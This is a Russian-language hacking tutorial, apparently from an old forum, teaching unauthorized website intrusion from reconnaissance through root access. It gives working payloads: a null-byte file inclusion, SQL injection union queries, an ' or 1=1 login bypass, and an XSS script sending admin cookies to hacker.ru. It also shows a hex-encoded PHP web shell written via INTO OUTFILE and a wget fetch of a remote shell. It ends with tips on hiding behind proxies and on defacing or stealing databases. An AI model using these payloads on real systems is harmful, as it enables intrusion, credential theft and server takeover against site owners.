ВСТУПЛЕНИЕ
Данная статья не претендует на звание самой лучшей, т.к. существует множество статей на данную тему. Она призвана собрать в себе некоторые из массы приемов по борьбе против админов.
Часть 1. ПРЕДВАРИТЕЛЬНОЕ ОБСЛЕДОВАНИЕ «ПАЦИЕНТА».
Глава 1. Статичность или динамичность?
Допустим у нас есть сайт _www.xxx.com. Первое, что необходимо сделать – это просмотреть его контент.
Бывают сайты двух типов – со статическим или же с динамическим наполнением. Второй тип встречается чаще, т.к. каждый раз создавать новую страницу – это большой труд, а если таких страниц нужно 100… Первый тип используется либо новичками(для создания личной странички) или сильно защищаемыми компаниями, дабы обезопасить себя от большинства приемов взлома, но, как говорится, никто не застрахован… Второй тип для нас предпочтительнее, т.к. из-за динамичности трудно отслеживать все появляющиеся ошибки.
Итак, смотрим какие страницы присутствуют. Для статического контента свойственны страницы с расширениями *.htm, *.html (Но это не всегда так, т.к. можно прятать сценарии на PHP или ASP в виде HTML). Распознать статические страницы можно по их количеству, отсутствию параметров в адресной строке и прямым переходам на другие страницы. Для динамических сайтов характерны расширения *.php, *.phtml, *.php3, *.asp, *.aspx, *.jsp - это расширения языков обработки сценариев.
Пример: На сайте _http://www.xxx.com присутствуют 5 страниц: index.html, masha.html, pasha.html, ih_lubov.html, about.htm. Этот сайт скорее всего статический… А вот страница вида _http://www.yyy.com/index.html?page=sasha.html наводит на подозрение о динамичности сайта.
Глава 2. Кто тут ещё?
Возможно, что обследуемый сайт состоит всего из 3-4 статических страниц и найти ошибки в них нет возможности. В этом случае нам может помочь то обстоятельство, что на одном сервере могут размещаться несколько сайтов, некоторые из них могут иметь динамическое наполнение или открытый доступ в админки(что бывает очень редко). Помочь найти таких соседей на помогут специальные сервисы, вот адреса трёх из таких:
- http://DomainsDB.net
- http://hack-shop.org.ru/revip.php
- http://www.seologs.com/ip-domains.html.
Далее можно проверить сервер на наличие других сервисов, таких как FTP, Telnet, SSH, HTTPS(защищенный HTTP). Иногда бывает так, что админ полностью защитил свой контент, а забыл про сервис FTP и оставил его открытым.
Пример: Сайт _http://www.xxx.com хорошо защищен, но на этом IP сидит ещё один сайт _http://www.yyy.com (как мы узнали из вышеупомянутых сервисов). Он защищен тоже хорошо, но набив в адресной строке _ftp://www.yyy.com мы видим весь контент сайта и можем залить туда шелл (специальный скрипт позволяющий выполнять в системе сервера различные команды). Вообще, заливка шелла – это предпоследний шаг при получении полного доступа к серверу.
Глава 3. Ближе к телу.
Итак, зная многое о сайте, что можно ещё сделать? Можно просканировать «скрытый» контент сайта для получения нужной информации. Многие админы хотят, чтобы их детище было популярным у людей, поэтому они всячески пытаются завлечь к себе поисковые системы. Это делается для того, чтобы человек в поисках информации заходил на сайт через поисковые серверы (yandex.ru, rambler.ru, google.com, msn.com). У этих систем есть свои «добыватели информации» - роботы, которые ходят по всем ссылкам и все куда-то записывают, а потом выдают при нажатии на кнопку ПОИСК. Чтобы эти роботы не лазили куда им не следует, часто создают в корне сайта специальный файл с инструкциями боту. Он называется robots.txt. В нём иногда можно найти много интересной информации.
Также можно просканировать весь сайт при помощи специальных утилит таких как NIKTO, Xspyder и др. (Все их можно найти в интернете). Они помогут отыскать скрытые от наших глаз файлы и папки.
Пример: По адресу _http://www.xxx.com/robots.txt мы видим, что существует папка /forum, хотя на самом сайте о ней никакого упоминания нет. Переходим по адресу _http://www.xxx.com/forum и лицезреем только что сделанный форум, а просканировав сайт сканером, мы находим админку без авторизации - _http://www.xxx.com/admin.
Часть 2. АТАКА.
Глава 1. Перед атакой.
При просмотре сайта опытный глаз всегда заметит, самодельный сайт или же он построен на каком-либо популярном движке. А для этих движков почти все уязвимости известны (за исключение так называемых private-sploit, которые известны только узкому кругу людей и стоят больших денег). Новичку же стоит обращать своё внимание на следующие вещи:
- Надпись Powered by xxxxxxxx говорит, что название движка xxxxxxxx;
- Стиль оформеления такой же, как у движка yyyyyyy;
- Название скриптов такое же, как у движка zzzzzzz.
Если вы поняли, какой движок управляет сайтом, то нужно поискать уязвимости самому, скачав такой же, или же, если не хватает знаний, то воспользоваться специализированными сайтами, такими как XakNet.ru, AntiChat.ru, SecurityLab.ru, milw0rm.com. Там в специальных разделах лежит информация почти о всех уязвимостях известных движков, а также присутствуют сплоиты – специальные скрипты, автоматически взламывающие сайт (их обычно искользуют либо новички за не знанием, либо профи для упрощения процесса взлома).
Для самописных сайтов существуют несколько видов атак на веб-контент, самые распространённые:
- PHP-инъекции;
- SQL-инъекции;
- XSS-атаки.
Глава 2. PHP-injection.
PHP-инъекции – это вид атаки, при котором вместо положенной страницы взломщик выводит ту, которая ему нужна. Наличие данной уязвимости характерно для сайтов, у которых адресная строка выглядит примерно так – _http://www.xxx.com/index.php?page=sasha.php - это идеальная PHP-инъеция, при которой скрипт не проверяет(в большинстве случаев) ни название файла, ни его расширение. Есть инъекции, при которых расширение файла дописывается самим скриптом - _http://www.xxx.com/index.php?page=sasha - выведет страницу sasha.html. Для обхода данного «запрета» (А нам нужно вывести например файл с паролями от базы данных – config.php) используется 0-баг, суть которого состоит в том, что в конце полного названия файла ещё приписывается %00, т.е. адрес примет вид _http://www.xxx.com/index.php?page=config.php%00 (%00 означает «конец строки»). Таким образом на экране(или в коде страницы) выведется содержимое файла config.php, а там…..
Глава 3. SQL-injection.
Многие сайты хранят важную информацию в базах данных. Наиболее популярными в интернете считаются MySQL и MSSQL базы данных. Сайт при помощи запросов может обратиться к базе данных, она выдаст ответ, а скрипт выдаст его в нужном формате пользователю. Так вот, если изменить каким-то образом запрос, мы можем получить нужный нам результат.
Проверить на наличие SQL-инъекции можно подставив в параметр символ «‘», который в базах данных является ограничителем запроса, т.е. если есть адрес _http://www.xxx.com/index.php?id=365 и мы подставив ‘ после параметра 365 - _http://www.xxx.com/index.php?id=365’ получаем вместо вывода на экран информации ошибку, то это говорит о наличии SQL-инъекции. Дальше – все зависит от вида и версии базы данных. Описываеть здесь все подвиды SQL-атак я не буду, т.к. объём статьи сразу увеличится в разы, но с радостью скажу где про это можно почитать подробно, т.к. статей по данному виду уязвимостей - множество. Вот ссылки на специализированные сайты:
- http://XakNet.ru
- http://AntiChat.ru
- http://Web-Hack.ru и др.
Пример: Адресная строка сайта выглядит так: _http://www.xxx.com/index.php?id=365. Мы, подставив ‘ - _http://www.xxx.com/index.php?id=365’ - получаем ошибку вида “MySQL Error: …”. Подбираем количество столбцов при помощи “+order+by+XX/*”, где XX – число, которое означает номер столбца:
_http://www.xxx.com/index.php?id=365+order+by+50/* - ошибка есть…
_http://www.xxx.com/index.php?id=365+order+by+25/* - ошибка есть…
_http://www.xxx.com/index.php?id=365+order+by+15/* - ошибки нет, значит кол-во столбцов между 15 и 25… Далее, тем же путем находим, что количество столбцов равно 16.
_http://www.xxx.com/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16/* - выводятся 2,4,6,8,15. Подставляем user(), version(), database() на место выводимых чисел и получаем информацию о пользователе, версии и название используемой базы данных. Дальше зависит от данных, которые мы хотим получить…
Также, если при входе в закрытые разделы сайта используется база данных, мы можем обойти авторизацию при помощи конструкции вида: ’ or 1=1/*, подставив её вместо логина, пароля.
Глава 4. XSS-атака.
Этот вид атаки используется для получения Coockies админов. Если при вводе в какое-нибудь поле, например «ПОЛНОЕ ИМЯ» в гостевой книге, конструкции вида <script>ALERT(‘Admin – FUCK’)(</script> и последующем просмотре своей записи на экране появляется окно с надписью «Admin – FUCK», то это говорит о наличии XSS-уязвимости. Если вставить специальный код, то при просмотре админом данного сообщения его куки прилетят к вам на сниффер, а в них пароль или его хэш, или ссесия…
Пример: Сайт _http://www.xxx.com имеет гостевую книгу, в которой поле имя подвержено XSS-атаке: вставляем в это поле <script>ALERT(‘Admin – FUCK’);</script> и лицезреем на экране «Admin – FUCK». Теперь вставляем «<script>img = new Image(); img.src=http://hacker.ru/snf.jpg?"+document.cookie;</script>» и ждем когда админ просмотрит вашу писятину… Получаем через некоторое время на сниффер MD5-хэш его пароля. Расшифровываем на http://MD5.XakNet.ru, http://HashCracking.info, http://MD5.xek.cc. Дальше – в админку…
Часть 3. ШЕЛЛ, РУТ.
Глава 1. Шелл-шелл-ля-фам.
Итак, мы в админке, или имеем root-доступ к базе данных, или PHP-inj удаленного файла, или FTP-доступ к сайту, что дальше. А дальше еще проще:
1) FTP-доступ или АДМИНКА. Просто заливаем понравившийся вам скрипт шелла и к следующей главе.
2) PHP-inj. Заливаем скрипт шелла на какой-нибудь бесплатный хостинг, например, narod.ru, и инклудим его примерно так - _http://www.xxx.com/index.php?page=http://vasiliy.narod.ru/shell.php, потом заливаем шелл прямо на сайт.
3) Root MySQL – если не фильтруется кавычка, то можно залить шелл при помощи запроса _http://www.xxx.com/index.php?id=-1+union+select+1,2,3,4,5,6,7,8, 0x3C3F2073797374656D28245F4745545B2763275D293B203F 3E,10,11,12,13,14,15,16+FROM+mysql.user+INTO+OUTFI LE+'/home/www/shell.php'/*, где 0x3C3F2073797374656D28245F4745545B2763275D293B203F 3E – это закодированное выражение <? system($_GET['c']); ?>, позволяющее выполнять команды на сервере. Далее заливаем более удобный для работы шелл командой _http://www.xxx.com?c=wget -O shell.php _http://vasiliy.narod.ru/shell.php.
Глава 2. Руууут.
Залив шелл мы теперь можем выполнять команды на сервере, а первой командой будет id, которая показывает ваши права в системе, а они обычно скромные. Хочется большего, тогда смотрим, что за ОС стоит на сервере(команда uname –a). Под эту версию ищем сплойт на сайте, компилируем, запускаем(как это делать описано либо в начале самого сплойта, либо в статьях) и… рууут! Цель достигнута.
Часть 4. ОБЕЗОПАСИЛИСЬ ЛИ?
Каждое преступление наказуемо, поэтому надо заранее себя обезопасить – проксики должны стать вашими лучшими друзьями… Почитайте про ЭТО, не поленитесь…
Часть 5. НАЗАСЫПКУ.
Что вы будете делать – то ли просто забрать базу, то ли дефейснуть сайт, или гнать трафф, а может проксик для юзеров